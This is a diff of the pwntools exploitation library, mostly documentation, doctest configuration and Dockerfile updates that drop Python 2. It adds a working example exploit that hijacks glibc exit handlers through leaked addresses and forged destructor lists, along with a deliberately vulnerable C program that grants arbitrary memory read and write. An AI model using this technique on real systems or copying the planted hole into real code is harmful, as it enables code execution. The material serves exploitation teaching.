-Python3 is suggested, but Pwntools still works with Python 2.7.  Most of the functionality of pwntools is self-contained and Python-only.  You should be able to get running quickly with
+Pwntools supports Python 3.10+ since version 5.0.0.  Use Pwntools 4.x for older versions as well as Python 2.7. Most of the functionality of pwntools is self-contained and Python-only.  You should be able to get running quickly with
 
 ```sh
 sudo apt-get update

TESTING.md

@@ -4,18 +4,25 @@ Pwntools makes extensive use of unit tests and integration tests to ensure every
 
 ## Test Suite
 
-To run the test suite, it is best to use Ubuntu 12.04 or 14.04, and run the following commands.  **Be aware** that this will add a user to the machine, and create a public key for SSH login!
+To run the test suite, it is best to use Ubuntu 22.04 or 24.04, and run the following commands.  **Be aware** that this will add a user to the machine, and create a public key for SSH login!
 
 ```sh
 bash travis/install.sh
 bash travis/ssh_setup.sh
 pip install --upgrade --editable .
+pip install --upgrade -r docs/requirements.txt
 PWNLIB_NOTERM=1 make -C docs doctest
 ```
 
+You can run doctests for a single file for faster iteration:
+
+```sh
+PWNLIB_NOTERM=1 python -m sphinx -b doctest docs/source docs/build/doctest docs/source/elf/elf.rst
+```
+
 ## Testing in Docker
 
-A `Dockerfile` has been provided which has a clean testing environment with Ubuntu Xenial.  It is very similar to the online Travis CI testing environment, but uses a more modern version of Ubuntu.
+A `Dockerfile` has been provided which has a clean testing environment with Ubuntu Noble.  It is very similar to the online Github Actions CI testing environment.
 
 See `travis/docker/README.md` for more information.
 

docs/requirements.txt

@@ -1,16 +1,12 @@
 capstone
 coverage[toml]
-python-dateutil
 doc2dash
-docutils<0.18; python_version<'3'
-docutils>=0.18; python_version>='3'
+docutils>=0.18
 intervaltree
 isort
 mako>=1.0.0
 paramiko>=1.15.2
-pip>=6.0.8
-pyelftools>=0.29, <0.30; python_version<'3'
-pyelftools>=0.29; python_version>='3'
+pyelftools>=0.32
 pygments>=2.0
 pypandoc
 pyserial>=2.7
@@ -18,7 +14,6 @@ pysocks
 psutil
 requests>=2.5.1
 ropgadget>=5.3
-sphinx==1.8.6; python_version<'3'
-sphinx>=8.1.3, <9; python_version>='3'
+sphinx>=8.1.3, <9
 sphinx_rtd_theme
 sphinxcontrib-autoprogram<=0.1.5

docs/source/adb.rst

@@ -4,6 +4,9 @@
    from pwn import *
    adb = pwnlib.adb
 
+   import doctest
+   doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
+
 :mod:`pwnlib.adb` --- Android Debug Bridge
 =====================================================
 

docs/source/asm.rst

@@ -4,6 +4,10 @@
    import subprocess
    from pwn import *
 
+   # TODO: Remove global POSIX flag
+   import doctest
+   doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
+
 :mod:`pwnlib.asm` --- Assembler functions
 =========================================
 

docs/source/atexception.rst

@@ -1,3 +1,7 @@
+.. testsetup:: *
+
+   from pwnlib import atexception
+
 :mod:`pwnlib.atexception` --- Callbacks on unhandled exception
 ==============================================================
 

docs/source/commandline.rst

@@ -5,7 +5,8 @@
 
 .. testcleanup:: *
 
-    context.defaults.copy = old
+    context.defaults.clear()
+    context.defaults.update(old)
 
 Command Line Tools
 ========================
@@ -18,3 +19,7 @@ If these tools do not appear to be installed, make sure that you have added ``~/
 
 .. autoprogram:: pwnlib.commandline.main:parser
    :prog: pwn
+
+.. only:: doctest
+
+   .. automodule:: pwnlib.commandline.errno

docs/source/conf.py

@@ -1,5 +1,3 @@
-# -*- coding: utf-8 -*-
-#
 # pwntools documentation build configuration file, created by
 # sphinx-quickstart on Wed May 28 15:00:52 2014.
 #
@@ -14,9 +12,9 @@
 import os
 import doctest
 import signal
-import six
 import subprocess
 import sys
+from datetime import datetime, timezone
 
 build_dash = tags.has('dash')
 
@@ -71,7 +69,6 @@ doctest_global_setup = '''
 import sys, os
 os.environ['PWNLIB_NOTERM'] = '1'
 os.environ['PWNLIB_RANDOMIZE'] = '0'
-import six
 import pwnlib.update
 import pwnlib.util.fiddling
 import logging
@@ -88,7 +85,7 @@ pwnlib.log.rootlogger.setLevel(1)
 # Sphinx modifies sys.stdout, and context.log_terminal has
 # a reference to the original instance.  We need to update
 # it for logging to be captured.
-class stdout(object):
+class stdout:
     def __getattr__(self, name):
         return getattr(sys.stdout, name)
     def __setattr__(self, name, value):
@@ -99,7 +96,6 @@ github_actions = os.environ.get('USER') == 'runner'
 travis_ci = os.environ.get('USER') == 'travis'
 local_doctest = os.environ.get('USER') == 'pwntools'
 skip_android = True
-is_python2 = six.PY2
 '''
 
 autoclass_content = 'both'
@@ -108,7 +104,7 @@ autodoc_member_order = 'groupwise' # 'alphabetical'
 # Add any paths that contain templates here, relative to this directory.
 templates_path = ['_templates']
 
-doctest_test_doctest_blocks = 'true'
+doctest_test_doctest_blocks = 'default'
 
 # The suffix of source filenames.
 source_suffix = '.rst'
@@ -121,7 +117,7 @@ master_doc = 'index'
 
 # General information about the project.
 project = u'pwntools'
-copyright = u'2016, Gallopsled et al.'
+copyright = u'2016-2026, Gallopsled et al.'
 
 # The version info for the project you're documenting, acts as replacement for
 # |version| and |release|, also used in various other places throughout the
@@ -263,11 +259,11 @@ latex_elements = {
 # (source start file, target name, title, author, documentclass [howto/manual]).
 latex_documents = [
   ('index', 'pwntools.tex', u'pwntools Documentation',
-   u'2016, Gallopsled et al.', 'manual'),
+   u'2016-2026, Gallopsled et al.', 'manual'),
 ]
 
 intersphinx_mapping = {'python': ('https://docs.python.org/3/', None),
-                       'paramiko': ('https://docs.paramiko.org/en/2.1/', None)}
+                       'paramiko': ('https://docs.paramiko.org/en/stable/', None)}
 
 # The name of an image file (relative to this directory) to place at the top of
 # the title page.
@@ -296,7 +292,7 @@ intersphinx_mapping = {'python': ('https://docs.python.org/3/', None),
 # (source start file, name, description, authors, manual section).
 man_pages = [
     ('index', 'pwntools', u'pwntools Documentation',
-     [u'2016, Gallopsled et al.'], 1)
+     [u'2016-2026, Gallopsled et al.'], 1)
 ]
 
 # If true, show URL addresses after external links.
@@ -363,7 +359,7 @@ def linkcode_resolve(domain, info):
         if isinstance(val, property):
             val = val.fget
 
-        if isinstance(val, (types.ModuleType, types.MethodType, types.FunctionType, types.TracebackType, types.FrameType, types.CodeType) + six.class_types):
+        if isinstance(val, (types.ModuleType, types.MethodType, types.FunctionType, types.TracebackType, types.FrameType, types.CodeType, type)):
             try:
                 lines, first = inspect.getsourcelines(val)
                 filename += '#L%d-L%d' % (first, first + len(lines) - 1)
@@ -388,7 +384,6 @@ if build_dash:
 
 
 # -- Customization to Sphinx autodoc generation --------------------------------------------
-import sphinx.ext.autodoc
 
 # Test hidden members (e.g. def _foo(...))
 def dont_skip_any_doctests(app, what, name, obj, skip, options):
@@ -396,56 +391,110 @@ def dont_skip_any_doctests(app, what, name, obj, skip, options):
 
 autodoc_default_options = {'special-members': None, 'private-members': None}
 
-class _DummyClass(object): pass
+# doctest optionflags for platform-specific tests
+# they are skipped on other platforms
+WINDOWS = doctest.register_optionflag('WINDOWS')
+LINUX = doctest.register_optionflag('LINUX')
+POSIX = doctest.register_optionflag('POSIX')
 
-class Py2OutputChecker(_DummyClass, doctest.OutputChecker):
-    def check_output(self, want, got, optionflags):
-        sup = super(Py2OutputChecker, self).check_output
-        if sup(want, got, optionflags):
-            return True
-        try:
-            rly_want = pwnlib.util.safeeval.const(want)
-            if sup(repr(rly_want), got, optionflags):
-                return True
-            rly_got = pwnlib.util.safeeval.const(got)
-            if rly_want == rly_got:
-                return True
-        except ValueError:
-            pass
-        rly_want = ' '.join(x[:2].replace('b"','"').replace("b'","'")+x[2:] for x in want.replace('\n','\n ').split(' ')).replace('\n ','\n')
-        if sup(rly_want, got, optionflags):
-            return True
-        rly_want = ' '.join(x[:2].replace('b"',' "').replace("b'"," '")+x[2:] for x in want.replace('\n','\n ').split(' ')).replace('\n ','\n')
-        if sup(rly_want, got, optionflags):
-            return True
-        for wantl, gotl in six.moves.zip_longest(want.splitlines(), got.splitlines(), fillvalue=''):
-            rly_want1 = '['.join(x[:2].replace('b"','"').replace("b'","'")+x[2:] for x in wantl.split('['))
-            rly_want2 = ' '.join(x[:2].replace('b"',' "').replace("b'"," '")+x[2:] for x in wantl.split(' '))
-            if not sup(rly_want1, gotl, optionflags) and not sup(rly_want2, gotl, optionflags):
+# doctest optionflag for tests that haven't been looked at yet
+TODO = doctest.register_optionflag('TODO')
+
+import sphinx.ext.doctest
+
+class PlatformDocTestRunner(sphinx.ext.doctest.SphinxDocTestRunner):
+    def run(self, test, compileflags=None, out=None, clear_globs=True):
+        original_optionflags = self.optionflags | test.globs.get('doctest_additional_flags', 0)
+        def filter_platform(example):
+            optionflags = original_optionflags
+            if example.options:
+                for (optionflag, val) in example.options.items():
+                    if val:
+                        optionflags |= optionflag
+                    else:
+                        optionflags &= ~optionflag
+
+            if (optionflags & WINDOWS) == WINDOWS and sys.platform != 'win32':
                 return False
-        return True
+            if (optionflags & LINUX) == LINUX and sys.platform != 'linux':
+                return False
+            if (optionflags & POSIX) == POSIX and os.name != 'posix':
+                return False
+            return True
+                
+        test.examples[:] = [example for example in test.examples if filter_platform(example)]
+            
+        return super(PlatformDocTestRunner, self).run(test, compileflags, out, clear_globs)
 
-def py2_doctest_init(self, checker=None, verbose=None, optionflags=0):
-    if checker is None:
-        checker = Py2OutputChecker()
-    doctest.DocTestRunner.__init__(self, checker, verbose, optionflags)
+class PlatformDocTestBuilder(sphinx.ext.doctest.DocTestBuilder):
+
+    def __init__(self, *args, **kwargs):
+        super(PlatformDocTestBuilder, self).__init__(*args, **kwargs)
+        self._test_runner = None
+        self._doctree_had_tests = False
+
+    @property
+    def test_runner(self):
+        return self._test_runner
+
+    @test_runner.setter
+    def test_runner(self, value):
+        self._test_runner = PlatformDocTestRunner(value._checker, value._verbose, value.optionflags)
+
+    def test_doc(self, docname, doctree):
+        start = datetime.now(timezone.utc).astimezone()
+        # self._out(f"[{start.isoformat(timespec='milliseconds')}] doctest start: {docname}\n")
+        self._doctree_had_tests = False
+        try:
+            return super(PlatformDocTestBuilder, self).test_doc(docname, doctree)
+        finally:
+            # Only print the timestamp if there were actually tests run.
+            if self._doctree_had_tests:
+                end = datetime.now(timezone.utc).astimezone()
+                duration = (end - start).total_seconds()
+                self._out(f"[{end.isoformat(timespec='milliseconds')} - {duration:.2f}s]\n")
+            self._doctree_had_tests = False
+
+    def test_group(self, group):
+        # Only called when there are tests to run in the current document.
+        self._doctree_had_tests = True
+        return super(PlatformDocTestBuilder, self).test_group(group)
 
 if 'doctest' in sys.argv:
     def setup(app):
-        pass # app.connect('autodoc-skip-member', dont_skip_any_doctests)
+        app.add_builder(PlatformDocTestBuilder, override=True)
+        # app.connect('autodoc-skip-member', dont_skip_any_doctests)
+    # monkey patching paramiko due to https://github.com/paramiko/paramiko/pull/1661
+    import paramiko.client
+    import binascii
+    paramiko.client.hexlify = lambda x: binascii.hexlify(x).decode()
+    paramiko.util.safe_string = lambda x: '' # function result never *actually used*
 
-    if sys.version_info[:1] < (3,):
-        import sphinx.ext.doctest
-        sphinx.ext.doctest.SphinxDocTestRunner.__init__ = py2_doctest_init
-    else:
-        # monkey patching paramiko due to https://github.com/paramiko/paramiko/pull/1661
-        import paramiko.client
-        import binascii
-        paramiko.client.hexlify = lambda x: binascii.hexlify(x).decode()
-        paramiko.util.safe_string = lambda x: '' # function result never *actually used*
     class EndlessLoop(Exception): pass
-    def alrm_handler(sig, frame):
-        signal.alarm(180) # three minutes
-        raise EndlessLoop()
-    signal.signal(signal.SIGALRM, alrm_handler)
-    signal.alarm(600) # ten minutes
+    if hasattr(signal, 'alarm'):
+        def alrm_handler(sig, frame):
+            signal.alarm(180) # three minutes
+            raise EndlessLoop()
+        signal.signal(signal.SIGALRM, alrm_handler)
+        signal.alarm(600) # ten minutes
+    else:
+        def sigabrt_handler(signum, frame):
+            raise EndlessLoop()
+        # thread.interrupt_main received the signum parameter in Python 3.10
+        if sys.version_info >= (3, 10):
+            signal.signal(signal.SIGABRT, sigabrt_handler)
+        def alrm_handler():
+            try:
+                import thread
+            except ImportError:
+                import _thread as thread
+            # pre Python 3.10 this raises a KeyboardInterrupt in the main thread.
+            # it might not show a traceback in that case, but it will stop the endless loop.
+            thread.interrupt_main(signal.SIGABRT)
+            timer = threading.Timer(interval=180, function=alrm_handler) # three minutes
+            timer.daemon = True
+            timer.start()
+        import threading
+        timer = threading.Timer(interval=600, function=alrm_handler) # ten minutes
+        timer.daemon = True
+        timer.start()

docs/source/elf/corefile.rst

@@ -18,6 +18,9 @@
    # Set the environment here so it's not in the middle of our tests.
    os.environ.setdefault('SHELL', '/bin/sh')
 
+   import doctest
+   doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
+
 
 :mod:`pwnlib.elf.corefile` --- Core Files
 ===========================================================

docs/source/elf/elf.rst

@@ -5,6 +5,10 @@
    from pwnlib.elf.maps import CAT_PROC_MAPS_EXIT
    import shutil
 
+   # TODO: Remove global POSIX flag
+   import doctest
+   doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
+
 :mod:`pwnlib.elf.elf` --- ELF Files
 ===========================================================
 

docs/source/encoders.rst

@@ -1,6 +1,10 @@
 .. testsetup:: *
 
    from pwn import *
+
+   # TODO: Remove global POSIX flag
+   import doctest
+   doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
    
 :mod:`pwnlib.encoders` --- Encoding Shellcode
 ===============================================

docs/source/filepointer.rst

@@ -1,6 +1,7 @@
 .. testsetup:: *
 
    from pwnlib.filepointer import *
+   from pwnlib.filepointer import _update_var
 
 :mod:`pwnlib.filepointer` --- `FILE*` structure exploitation
 ============================================================

docs/source/filesystem.rst

@@ -1,11 +1,14 @@
 .. testsetup:: *
 
     import time
-    import six
     from pwnlib.context import context
     from pwnlib.tubes.ssh import ssh
     from pwnlib.filesystem import *
 
+    # TODO: Remove global POSIX flag
+    import doctest
+    doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
+
 :mod:`pwnlib.filesystem` --- Manipulating Files Locally and Over SSH
 ====================================================================
 

docs/source/gdb.rst

@@ -4,6 +4,10 @@
     context.arch = 'amd64'
     context.terminal = [os.path.join(os.path.dirname(pwnlib.__file__), 'gdb_faketerminal.py')]
 
+    # TODO: Test on cygwin too
+    import doctest
+    doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
+
 :mod:`pwnlib.gdb` --- Working with GDB
 ======================================
 

docs/source/index.rst

@@ -52,27 +52,27 @@ Each of the ``pwntools`` modules is documented here.
    context
    dynelf
    encoders
-   elf/*
+   elf
    exception
    filepointer
    filesystem
    flag
    fmtstr
    gdb
+   libc
    libcdb
    log
    memleak
    protocols
    qemu
+   regsort
    replacements
-   rop/*
+   rop
    runner
    shellcraft
-   shellcraft/*
    term
    timeout
    tubes
-   tubes/*
    ui
    update
    useragents

docs/source/install.rst

@@ -1,7 +1,7 @@
 Installation
 ============
 
-Pwntools is best supported on 64-bit Ubuntu LTS releases (14.04, 16.04, 18.04, and 20.04).  Most functionality should work on any Posix-like distribution (Debian, Arch, FreeBSD, OSX, etc.).
+Pwntools is best supported on 64-bit Ubuntu LTS releases (22.04 and 24.04).  Most functionality should work on any Posix-like distribution (Debian, Arch, FreeBSD, OSX, etc.).
 
 Prerequisites
 -------------
@@ -18,14 +18,20 @@ following system libraries installed.
 
 Note: For Mac OS X you will need to have cmake ``brew install cmake`` and pkg-config ``brew install pkg-config`` installed.
 
+.. code-block:: bash
+
+    brew install pwntools
+
 Released Version
 -----------------
 
-pwntools is available as a ``pip`` package for both Python2 and Python3.
+pwntools is available as a ``pip`` package for Python3. Version v5.0.0 supports Python3.10 or later. Use v4 if you use earlier versions of Python.
 
 Python3
 ^^^^^^^
 
+The Python version required for installing Pwntools is kept as low as possible on a best-effort basis.  However, new features target Python3.10 and later.
+
 .. code-block:: bash
 
     $ sudo apt-get update
@@ -37,6 +43,8 @@ Python3
 Python2 (Deprecated)
 ^^^^^^^^^^^^^^^^^^^^
 
+Python2 support has been removed in Pwntools v5.0.0.  The last version to support Python2 was v4.15.0.
+
 NOTE: Pwntools maintainers STRONGLY recommend using Python3 for all future Pwntools-based scripts and projects.
 
 Additionally, due to `pip` dropping support for Python2, a specfic version of `pip` must be installed.

docs/source/install/binutils.rst

@@ -42,12 +42,20 @@ repo <https://github.com/Gallopsled/pwntools-binutils/>`__.
     $ wget https://raw.githubusercontent.com/Gallopsled/pwntools-binutils/master/macos/binutils-$ARCH.rb
     $ brew install ./binutils-$ARCH.rb
 
+Note: The pwntools/pwntools Homebrew tap is currently (August 2026) undergoing migration.
+If you encounter issues on Mac OS, try running ``export HOMEBREW_DEVELOPER="true"`` before ``brew install ...``.
+The actual resolution of the tap migration is still pending.
+
+
 Windows
 ^^^^^^^^^^^^^^^^
 
 Windows support is experimental. You can try installing a prebuilt version of binutils
 for your desired architecture from the `GNU Toolchains <https://gnutoolchains.com/>`__ project.
 
+Note: For x86 and x86_64, you should use the `ubuntu toolchain <https://gnutoolchains.com/ubuntu/>`__
+instead of the MinGW toolchains due to differences in the commandline handling.
+
 Alternate OSes
 ^^^^^^^^^^^^^^^^
 

docs/source/intro.rst

@@ -2,6 +2,9 @@
 
    from pwn import *
 
+   import doctest
+   doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
+
 Getting Started
 ========================
 

docs/source/libc.rst

@@ -0,0 +1,10 @@
+:mod:`pwnlib.libc` --- Convenient Functions for Libc Implementations
+====================================================================
+
+Submodules
+----------
+
+.. toctree::
+   :glob:
+
+   libc/*

docs/source/libc/glibc.rst

@@ -0,0 +1,9 @@
+.. testsetup:: *
+
+   from pwn import *
+
+:mod:`pwnlib.libc.glibc` --- Convenient Functions for Glibc
+===========================================================
+
+.. automodule:: pwnlib.libc.glibc
+   :members:

docs/source/libcdb.rst

@@ -3,6 +3,10 @@
    from pwn import *
    from pwnlib.libcdb import *
 
+   # TODO: Remove global POSIX flag
+   import doctest
+   doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
+
 :mod:`pwnlib.libcdb` --- Libc Database
 ===========================================
 

docs/source/qemu.rst

@@ -2,6 +2,10 @@
 
    from pwn import *
 
+   # TODO: Remove global POSIX flag
+   import doctest
+   doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
+
 
 :mod:`pwnlib.qemu` --- QEMU Utilities
 ==========================================

docs/source/rop/rop.rst

@@ -19,6 +19,10 @@
 
    context.clear()
 
+   # TODO: Remove global LINUX flag
+   import doctest
+   doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
+
 
 :mod:`pwnlib.rop.rop` --- Return Oriented Programming
 ==========================================================

docs/source/rop/srop.rst

@@ -7,6 +7,9 @@
    from pwnlib.elf import ELF
    from pwnlib.tubes.process import process
 
+   import doctest
+   doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
+
 :mod:`pwnlib.rop.srop` --- Sigreturn Oriented Programming
 ==========================================================
 

docs/source/runner.rst

@@ -3,6 +3,10 @@
    from pwnlib.runner import *
    from pwnlib.asm import asm
 
+   # TODO: Remove global POSIX flag
+   import doctest
+   doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
+
 :mod:`pwnlib.runner` --- Running Shellcode
 ===========================================
 

docs/source/shellcraft.rst

@@ -2,6 +2,10 @@
 
    from pwnlib import shellcraft
 
+   # TODO: Remove global POSIX flag
+   import doctest
+   doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
+
 :mod:`pwnlib.shellcraft` --- Shellcode generation
 =================================================
 

docs/source/shellcraft/aarch64.rst

@@ -3,6 +3,9 @@
    from pwn import *
    context.clear(arch='aarch64')
 
+   import doctest
+   doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
+
 :mod:`pwnlib.shellcraft.aarch64` --- Shellcode for AArch64
 ===========================================================
 

docs/source/shellcraft/amd64.rst

@@ -3,6 +3,10 @@
    from pwn import *
    context.clear(arch='amd64')
 
+   # TODO: POSIX/WINDOWS shellcode test
+   import doctest
+   doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
+
 :mod:`pwnlib.shellcraft.amd64` --- Shellcode for AMD64
 ===========================================================
 

docs/source/shellcraft/arm.rst

@@ -3,6 +3,9 @@
    from pwn import *
    context.clear(arch='arm')
 
+   import doctest
+   doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
+
 :mod:`pwnlib.shellcraft.arm` --- Shellcode for ARM
 ===========================================================
 

docs/source/shellcraft/i386.rst

@@ -3,6 +3,9 @@
    from pwn import *
    context.clear(arch='i386')
 
+   import doctest
+   doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
+
 :mod:`pwnlib.shellcraft.i386` --- Shellcode for Intel 80386
 ===========================================================
 

docs/source/shellcraft/loongarch64.rst

@@ -0,0 +1,22 @@
+.. testsetup:: *
+
+   from pwn import *
+   context.clear(arch='loongarch64')
+
+   import doctest
+   doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
+
+:mod:`pwnlib.shellcraft.loongarch64` --- Shellcode for LoongArch64
+==================================================================
+
+:mod:`pwnlib.shellcraft.loongarch64`
+------------------------------------
+
+.. automodule:: pwnlib.shellcraft.loongarch64
+   :members:
+
+:mod:`pwnlib.shellcraft.loongarch64.linux`
+------------------------------------------
+
+.. automodule:: pwnlib.shellcraft.loongarch64.linux
+   :members:

docs/source/shellcraft/mips.rst

@@ -12,6 +12,9 @@
 
    context.clear(arch='mips')
 
+   import doctest
+   doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
+
 :mod:`pwnlib.shellcraft.mips` --- Shellcode for MIPS
 ===========================================================
 

docs/source/shellcraft/riscv64.rst

@@ -3,6 +3,9 @@
    from pwn import *
    context.clear(arch='riscv64')
 
+   import doctest
+   doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
+
 :mod:`pwnlib.shellcraft.riscv64` --- Shellcode for RISCV64
 ==========================================================
 

docs/source/shellcraft/thumb.rst

@@ -3,6 +3,9 @@
    from pwn import *
    context.clear(arch='thumb')
 
+   import doctest
+   doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
+
 :mod:`pwnlib.shellcraft.thumb` --- Shellcode for Thumb Mode
 ===========================================================
 

docs/source/tubes/ssh.rst

@@ -2,6 +2,10 @@
 
    from pwn import *
 
+   # TODO: Remove global POSIX flag
+   import doctest
+   doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
+
 :mod:`pwnlib.tubes.ssh` --- SSH
 ===========================================================
 

docs/source/ui.rst

@@ -3,6 +3,9 @@
    from pwn import *
    import io
 
+   import doctest
+   doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
+
 :mod:`pwnlib.ui` --- Functions for user interaction
 ===================================================
 

docs/source/util/net.rst

@@ -2,6 +2,9 @@
 
    from pwnlib.util.net import *
 
+   import doctest
+   doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
+
 :mod:`pwnlib.util.net` --- Networking interfaces
 ===================================================
 

docs/source/util/proc.rst

@@ -4,6 +4,9 @@
    from pwnlib.tubes.process import process
    import os, sys
 
+   import doctest
+   doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
+
 
 :mod:`pwnlib.util.proc` --- Working with ``/proc/``
 ===================================================

examples/exit-handlers/exploit.py

@@ -0,0 +1,72 @@
+# The prebuilt binary is compiled in Arch Linux with glibc 2.43
+from pwn import *
+import shutil
+import tempfile
+import os
+
+context.log_level = 'debug'
+context.arch = 'amd64'
+EXE = './vulnerable'
+t = process(EXE)
+elf = ELF(EXE)
+
+# Copy libc so later we can unstrip it
+libc = elf.libc
+tmpfd, tmpname = tempfile.mkstemp()
+print(tmpfd)
+with open(libc.file.name, 'rb') as f:
+    shutil.copyfileobj(f, os.fdopen(tmpfd, 'wb'))
+
+libcdb.unstrip_libc(tmpname)
+libc = ELF(tmpname)
+
+# Now fetch information
+# XXX: in my build, the tls variable locates at fs:[-4]
+t.recvuntil(b': ')
+tls = int(t.recvline(), 16)
+info(f'Ready to read pointer_guard @ {tls + 0x30 + 4:#x}')
+
+t.recvuntil(b': ')
+handle = int(t.recvline(), 16)
+
+t.recvuntil(b': ')
+libc_base = int(t.recvline(), 16) - libc.symbols['puts']
+info(f'Leak libc_base: {libc_base:#x}')
+libc.address = libc_base
+
+t.recvuntil(b': ')
+chunk = int(t.recvline(), 16)
+
+# Then read pointer_guard value
+t.sendlineafter(b'%p', hex(tls + 0x30 + 4).encode())
+t.recvuntil(b': ')
+guard = int(t.recvline(), 16)
+info(f'Guard is: {guard:#x}')
+
+# Next overwrite initial and tls_dtors
+t.recvuntil(b'%p=%lx')
+# XXX: dtor_list->map->l_tls_dtor_count need to be dereferenced
+# on glibc 2.43, the offset is 0x498
+tls_dtor = glibc.ExitDtorList(handle, guard, chunk, chunk, 0)
+g_dtor = glibc.ExitFunc(glibc.ExitFlavor.CXA, handle, guard, 0xabcd, 0)
+g_dtor_list = glibc.ExitFuncList(0, [g_dtor])
+
+def write_object(addr: int, blob: bytes) -> str:
+    return ' '.join(
+        f'{addr + i:#x}={u64(blob[i:i + 8]):#x}'
+        for i in range(0, len(blob), 8)
+    )
+
+#   Firstly, write glibc initial to overwrite global dtor
+t.sendline(write_object(libc.symbols['initial'], bytes(g_dtor_list)).encode())
+#   Secondly, write tls dtor
+t.sendline(write_object(chunk, bytes(tls_dtor)).encode())
+# XXX: tls_dtor_list must be free-able
+# XXX: tls_dtor_list is not hard-encoded (in glibc GOT),
+# on my machine it's fs:[-0x48]
+t.sendline(write_object(tls + 4 - 0x48, p64(chunk)).encode())
+#   Thirdly, terminate cycle
+t.sendline(b'x')
+#   Finally, wait for exit
+t.recvuntil(b'happen:\n')
+t.interactive()

examples/exit-handlers/vulnerable.c

@@ -0,0 +1,39 @@
+#include <stddef.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <threads.h>
+#include <unistd.h>
+
+thread_local int x;
+
+void malicious_handler(void *arg) {
+    printf("Calling handler with %p\n", arg);
+}
+
+int main(void) {
+    setbuf(stdin, NULL);
+    setbuf(stdout, NULL);
+
+    printf("Assume you have some way to leak information about TLS: %p\n", &x);
+    printf("Some more information about function to hijack: %p\n", malicious_handler);
+    printf("You can't exploit without glibc: %p\n", puts);
+
+    void *p = malloc(0x500);
+    printf("To continue destructor chain, a forged link_map and dtor is needed: %p\n", p);
+
+    printf("Then you have some way to read/write pointer_guard\n");
+    size_t *where = NULL;
+    printf("Where to read? %%p > ");
+    scanf("%p", &where);
+    printf("Dereferenced value: %#lx\n", where ? *where : 0);
+    
+    printf("Now perform arbitrary write ability on hijack exit handlers...\n");
+    printf("Write addresses in pairs: %%p=%%lx\n");
+    size_t value = 0;
+    while (scanf("%p=%lx", &where, &value) == 2) {
+        *where = value;
+    }
+
+    printf("Let's exit to see what will happen:\n");
+    return 0;
+}

extra/docker/base/Dockerfile

@@ -3,12 +3,12 @@
 # Based on Ubuntu
 ############################################################
 
-FROM ubuntu:jammy
-MAINTAINER Maintainer Gallopsled et al.
+FROM ubuntu:noble
+LABEL maintainer="Maintainer Gallopsled et al."
 
-ENV LANG en_US.UTF-8
-ENV LANGUAGE en_US:en
-ENV LC_ALL en_US.UTF-8
+ENV LANG=en_US.UTF-8
+ENV LANGUAGE=en_US:en
+ENV LC_ALL=en_US.UTF-8
 
 ARG DEBIAN_FRONTEND=noninteractive
 RUN apt-get update \
@@ -20,9 +20,6 @@ RUN apt-get update \
         git \
         libssl-dev \
         libffi-dev \
-        python2.7 \
-        python2.7-dev \
-        python2-pip-whl \
         python3 \
         python3-pip \
         python3-dev \
@@ -38,15 +35,14 @@ RUN apt-get update \
         binutils-s390x-linux-gnu \
         binutils-sparc64-linux-gnu \
         binutils-riscv64-linux-gnu \
+        binutils-loongarch64-linux-gnu \
         tmux \
         patchelf \
     && locale-gen en_US.UTF-8 \
     && update-locale LANG=en_US.UTF-8 \
-    && PYTHONPATH=`echo /usr/share/python-wheels/pip-*.whl` python2.7 -m pip install --no-cache-dir --upgrade pip setuptools wheel \
-    && python2.7 -m pip install --no-cache-dir --upgrade pwntools \
-    && python3 -m pip install --no-cache-dir --upgrade pip \
-    && python3 -m pip install --no-cache-dir --upgrade pwntools \
+    && python3 -m pip install --no-cache-dir --break-system-packages --upgrade pwntools \
     && PWNLIB_NOTERM=1 pwn update \
+    && userdel -r ubuntu \
     && useradd -m pwntools \
     && passwd --delete --unlock pwntools \
     && echo "pwntools ALL=(ALL:ALL) NOPASSWD: ALL" > /etc/sudoers.d/pwntools

extra/docker/beta/Dockerfile

@@ -1,7 +1,6 @@
 FROM pwntools/pwntools:stable
 
 USER root
-RUN python2.7 -m pip install --no-cache-dir --upgrade git+https://github.com/Gallopsled/pwntools@beta \
-    && python3 -m pip install --no-cache-dir --force-reinstall --upgrade git+https://github.com/Gallopsled/pwntools@beta
+RUN python3 -m pip uninstall --break-system-packages -q -y pwntools && python3 -m pip install --no-cache-dir --break-system-packages --upgrade git+https://github.com/Gallopsled/pwntools@beta
 RUN PWNLIB_NOTERM=1 pwn update
 USER pwntools

extra/docker/buster/Dockerfile

@@ -1,8 +0,0 @@
-from debian:buster
-
-RUN apt-get update
-RUN apt-get -y dist-upgrade
-RUN apt-get -y install python3 python3-pip
-RUN apt-get -y install git wget unzip
-
-RUN pip3 install --no-cache-dir --upgrade git+https://github.com/Gallopsled/pwntools@dev

extra/docker/dev/Dockerfile

@@ -1,7 +1,6 @@
 FROM pwntools/pwntools:stable
 
 USER root
